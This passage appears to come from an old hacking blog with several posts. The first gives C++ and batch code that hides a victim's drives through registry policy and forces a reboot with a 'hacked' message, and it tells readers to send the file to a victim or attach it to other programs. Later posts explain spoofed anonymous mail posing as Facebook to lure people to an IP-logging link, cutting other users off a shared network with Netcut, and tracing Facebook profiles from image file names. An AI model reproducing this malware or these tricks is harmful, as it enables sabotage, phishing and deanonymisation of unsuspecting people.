write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL); return 0; }

Copy the above code and paste in notepad

Save the file with .cpp extension

Compile and create .exe file in cpp

Note:

Don't run this c++ program ,it will attack your system itself.

Copy the created .exe file and send it to your victim. You can also attach it with any other

exe files.

Batch Virus Code Creation:

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \"Sorry Your System is hacked by us!\" -f

I think this code will simple for non c++ programmers. It is easy to create the batch file also.

Copy the above code to notepad.

Save it with .bat extension (for ex: nodrivevirus.bat)

Send the file to your victim

How to send Anonymous Mail to anyone|Set up your own server

2011-08-24T20:22:00.001+05:00

Everyone Like to send Anonymous Mail to your enemy or friend or teacher. Here is the Hacking tutorial for you to implement that. So i hope This will be best hack for you.

What is the Use?

I explained you in my older post how to get ip address. To get the ip address you need to send the mail with link. So You can send mail to your victim with that link such that you are contacting from an organization.

For Eg:

You can say we are from Facbook,we have new feature to enable the feature visit this page.

How to do?

Step 1:

First of all you need to register in free web hosting service which has PHP feature. So my choice is

x10hosting.com

Step 2:

Now Download this zip file:

Mail.php

Inside the file you can find the mail.php file. Extract the file

Step 3:

Now Go to x10hosting.com and login with your username and password.

Upload the "mail.php" file to "public_html" folder.

Step 4:

That's all you finished.

Now go to this page

yourhosturl/mail.php

Change the yourhosturl with your website url which you gave it when you register in x10hosting.com

For eg:

yourfavorites.x10.mx/mail.php

Usually the default will be "name.x10.mx"

When you visit you will see the form just like this:

Fill the form with your victim mail address and message subject and send

Don't give your details in the sender field.

Just fill with any organization name.

For Eg:

BestSurveyProviders

Bandwidth Stealer For Fast Browsing

2011-08-23T23:15:00.001+05:00

If you are in your school's computer lab or in home , this software will always help you in your work . It is common thing to have many computer's connected with one device for internet and it causes your bandwidth to fall down . Here I am introducing a software called netcut which cuts the one's connection in such a crucial condition as I stated, I am stating it as crucial as really it’s a headache causing problem for me I hate slow surfing.When it cuts the one's connection , it automatically increases bandwidth of your connection which will let you work more easily and fastly.

Download Netcut here for Free:-

You can download this bandwidth stealing software named as Netcut from below:-
Download Netcut
Using Netcut :-
1: Download net cut.
2: Extract the software and install it.
3: Now open netcut software and a window will pop-out showing you connected routers.
4: Just toggle to the computer which you want to cut off like this photo:

5: And that's it.Now you are free to eat up every last bit of bandwidth. Enjoy

Find Any Facebook Profile By using Picture

2011-08-23T23:14:00.001+05:00

Today I,ll discuss a short and smart trick using which you can easily locate any Facebook profile within seconds but the thing which matters is this that the picture must have the unique name in which the address of the person’s pofile is hidden however it may help you some day that’s why I am sharing this trick. First of the go to the picture and see its name with which its been saved anywhere, It must be in some numerical figures having a “_n” in the end.
Lets, Take a picture and inspect its name, so we found the following name of the picture:

23213_100000967034368_1371_n

Now, We have to find profile address out of it, Just ignore the 23213 in the start and also 1371_n in the end, Just copy the mid snippet of numbers like 100000967034368 , And after this paste it in notepad.
Now, Take this URL:

http://www.facebook.com/profile.php?id=

And paste the snippet of numbers which you have pasted in notepad just after it like this:

http://www.facebook.com/profile.php?id=100000967034368

Copy this whole URL and Paste this in browser address bar and hit enter, After this you,ll see the person’s, whose pic was here only, Facebook profile in front of you. Small trick but useful one in some cases.